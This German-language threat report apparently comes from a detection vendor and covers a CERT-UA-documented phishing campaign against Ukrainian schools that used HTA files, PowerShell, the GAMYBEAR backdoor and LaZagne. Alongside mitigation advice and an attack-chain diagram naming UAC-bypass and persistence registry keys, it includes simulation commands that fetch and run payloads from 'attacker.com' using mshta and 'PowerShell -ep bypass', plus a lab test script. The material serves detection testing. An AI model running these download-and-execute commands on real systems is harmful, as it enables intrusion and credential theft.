SOC Prime Bias: Kritisch

20 Nov. 2025 16:35

Gezielter Cyberangriff auf eine Schule im Osten der Ukraine mit dem GAMYBEAR-Werkzeug (CERT-UA#18329)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Gezielter Cyberangriff auf eine Schule im Osten der Ukraine mit dem GAMYBEAR-Werkzeug (CERT-UA#18329)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Eine Kampagne zum Sammeln von Zugangsdaten traf Schulen und öffentliche Behörden in der Region Sumy durch eine Phishing-E-Mail mit einem ZIP-Anhang. Beim Öffnen des Archivs wurde eine HTA-Datei über das mshta Dienstprogramm ausgelöst, die dann PowerShell-Skripte herunterlud, um das GAMYBEAR-Backdoor und den LaZagne-Credential-Dumper bereitzustellen, eine HTTP-basierte C2-Verbindung herzustellen und Dateien aus Zielverzeichnissen zu exfiltrieren.

Angriffsanalyse

CERT-UA verknüpfte den ersten Einbruch mit einer Phishing-Nachricht, die am 26. Mai 2025 von einem gekaperten Gmail-Konto gesendet wurde, und stellte die Details der Kampagne im CERT-UA#18329-Alert bereit. Die forensische Analyse deckte eine mehrstufige Infektionskette auf: ZIP → HTA → update.js → PowerShell → GAMYBEAR begleitet von LaZagne-Malware, wobei die Persistenz über einen Run-Registry-Eintrag und wiederkehrende Downloads von bösartigen URLs aufrechterhalten wurde.

Minderung

Erzwingen Sie die Multi-Faktor-Authentifizierung für alle E-Mail-Konten, blockieren Sie die Ausführung von HTA- und nicht vertrauenswürdigen PowerShell-Skripten, sperren Sie den Registry-Run-Schlüssel und implementieren Sie eine Anwendungs-Whitelist. Aktualisieren Sie kontinuierlich Endpunkterkennungsregeln, um die referenzierten Dateinamen, Hashes und Netzindikatoren zu erkennen.

Reaktion

Isolieren Sie unverzüglich betroffene Endpunkte, setzen Sie die kompromittierten Gmail-Anmeldedaten zurück, sammeln Sie alle identifizierten IOCs und führen Sie umfassende Scans nach GAMYBEAR, LaZagne und verwandten Artefakten durch. Informieren Sie CERT-UA über den Vorfall und verteilen Sie IOCs über relevante Bedrohungsinformationsaustauschkanäle.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes action_phishing[„<b>Action</b> – <b>T1566.001 Phishing: Spearphishing-Anhang</b><br/>Ein kompromittiertes universitäres Gmail-Konto wurde genutzt, um Spearphishing-E-Mails mit einem ZIP-Anhang namens „Накaз № 332“ zu versenden.“] class action_phishing action tool_mshta[„<b>Tool</b> – <b>Name</b>: mshta.exe<br/><b>Technique</b>: T1218.005 System Binary Proxy Execution“] class tool_mshta tool malware_hta[„<b>Malware</b> – <b>Name</b>: zvit.hta (HTML-Anwendung)<br/>Ausgeführt über die im ZIP enthaltene Verknüpfung.“] class malware_hta malware action_powershell[„<b>Action</b> – <b>T1059.001 Command and Scripting Interpreter: PowerShell</b><br/>Die HTA startete update.js, welches updater.ps1 ausführte. PowerShell lud zusätzliche Binärdateien (be53ff4f4b5daa.exe, svshosts.exe) von entfernten HTTP-Servern herunter.“] class action_powershell action tool_ps2exe[„<b>Tool</b> – <b>Name</b>: PS2EXE<br/><b>Technique</b>: T1027.004 Compile After Delivery (Verschleierung)“] class tool_ps2exe tool action_uac_bypass[„<b>Action</b> – <b>T1548.002 Abuse Elevation Control Mechanism: Bypass UAC</b><br/>Erstellung des Registry-Schlüssels HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command mit dem Wert DelegateExecute zur Umgehung der Benutzerkontensteuerung.“] class action_uac_bypass action action_persistence[„<b>Action</b> – <b>T1547.014 Boot or Logon Autostart Execution: Active Setup</b><br/>Hinzufügen von HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run-Einträgen (IEUpdater, ServiceUpdateService), um Binärdateien beim Anmelden zu starten.“] class action_persistence action tool_registry[„<b>Tool</b> – <b>Name</b>: Registry-Änderung<br/><b>Technique</b>: Persistenz über Run-Schlüssel“] class tool_registry tool action_credential_dump[„<b>Action</b> – <b>T1003 OS Credential Dumping</b><br/>Ausführung von LaZagne (be53ff4f4b5daa.exe) zur Extraktion gespeicherter Passwörter und weiterer Zugangsdaten.“] class action_credential_dump action tool_lazagne[„<b>Tool</b> – <b>Name</b>: LaZagne<br/><b>Purpose</b>: Auslesen gespeicherter Zugangsdaten aus Browsern, Mail-Clients und weiteren Anwendungen“] class tool_lazagne tool action_data_encoding[„<b>Action</b> – <b>T1132 Data Encoding</b><br/>Die Kommunikation zwischen den GAMYBEAR-Backdoor-Komponenten (svshosts.exe, ieupdater.exe) und dem C2 erfolgte über HTTP mit Base64-kodierten Nutzdaten.“] class action_data_encoding action malware_gamybear[„<b>Malware</b> – <b>Name</b>: GAMYBEAR-Backdoor<br/>Komponenten umfassen svshosts.exe und ieupdater.exe.“] class malware_gamybear malware %% Connections action_phishing –>|liefert| tool_mshta tool_mshta –>|führt aus| malware_hta malware_hta –>|startet| action_powershell action_powershell –>|nutzt| tool_ps2exe action_powershell –>|lädt herunter| malware_gamybear action_powershell –>|erstellt| action_uac_bypass action_uac_bypass –>|modifiziert| tool_registry action_persistence –>|basiert auf| tool_registry action_persistence –>|startet| malware_gamybear action_credential_dump –>|nutzt| tool_lazagne tool_lazagne –>|sammelt| action_data_encoding malware_gamybear –>|kommuniziert über| action_data_encoding %% End of diagram

Angriffsablauf

Simulationen

Simulationsausführung

Voraussetzung: Der Telemetrie- & Baseline-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der durch die Erkennungsregel zu triggernden Gegnertechnik (TTP). Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und zielen darauf ab, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffsnarrativ & Befehle:

    1. Stufe 1 – Bösartige HTA einsetzen: Der Angreifer hostet evil.hta auf einem kompromittierten Webserver.

    2. Stufe 2 – Ausführen via mshta.exe: Mit einem Windows-Befehlszeilenfenster führt der Angreifer aus mshta.exe http://attacker.com/evil.hta. Dies erzeugt ein Prozesserstellungsereignis mit mshta.exe in der Befehlszeile, das die erste Bedingung der Regel erfüllt.

    3. Stufe 3 – PowerShell-Umgehung: Um eine Nutzlast auszuführen, die die Ausführungsrichtlinie des Systems umgeht, startet der Angreifer PowerShell mit dem -ep bypass-Flagge:

      PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"

      Dies erzeugt ein zweites Prozesserstellungsereignis, das den genauen String PowerShell -ep bypass enthält, was die zweite Bedingung erfüllt.

  • Regressionstest-Skript: Das folgende PowerShell-Skript reproduziert die obigen Schritte auf automatisierte, wiederholbare Weise.

    # -------------------------------------------------
    # Regressionstest – Sigma-Regel für mshta & PowerShell -ep bypass auslösen
    # -------------------------------------------------
    
    # Variablen – an Ihre Lab-Umgebung anpassen
    $htaUrl   = "http://127.0.0.1/evil.hta"   # Muss auf eine erreichbare HTA-Datei verweisen
    $psUrl    = "http://127.0.0.1/payload.ps1" # Einfaches PS-Payload (z.B., `Write-Host "pwned"`)
    
    # 1. mshta.exe aufrufen
    Write-Host "[*] mshta.exe wird gegen $htaUrl gestartet"
    Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
    
    # Kurze Pause, um sicherzustellen, dass der Prozess protokolliert wird
    Start-Sleep -Seconds 2
    
    # 2. PowerShell mit Ausführungsrichtlinienumgehung aufrufen
    $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"
    Write-Host "[*] PowerShell -ep bypass wird gestartet"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
    
    # Pause, um Protokollierung zu ermöglichen
    Start-Sleep -Seconds 5
    
    Write-Host "[+] Test abgeschlossen. Überprüfen Sie Ihr SIEM auf Alarme."
  • Bereinigungskommandos: Entfernen Sie temporäre Dateien und beenden Sie alle verbleibenden Testprozesse.

    # Temporäres Payload bereinigen
    Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue
    
    # Optional verbleibende mshta- oder PowerShell-Instanzen, die durch den Test entstehen, beenden
    Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force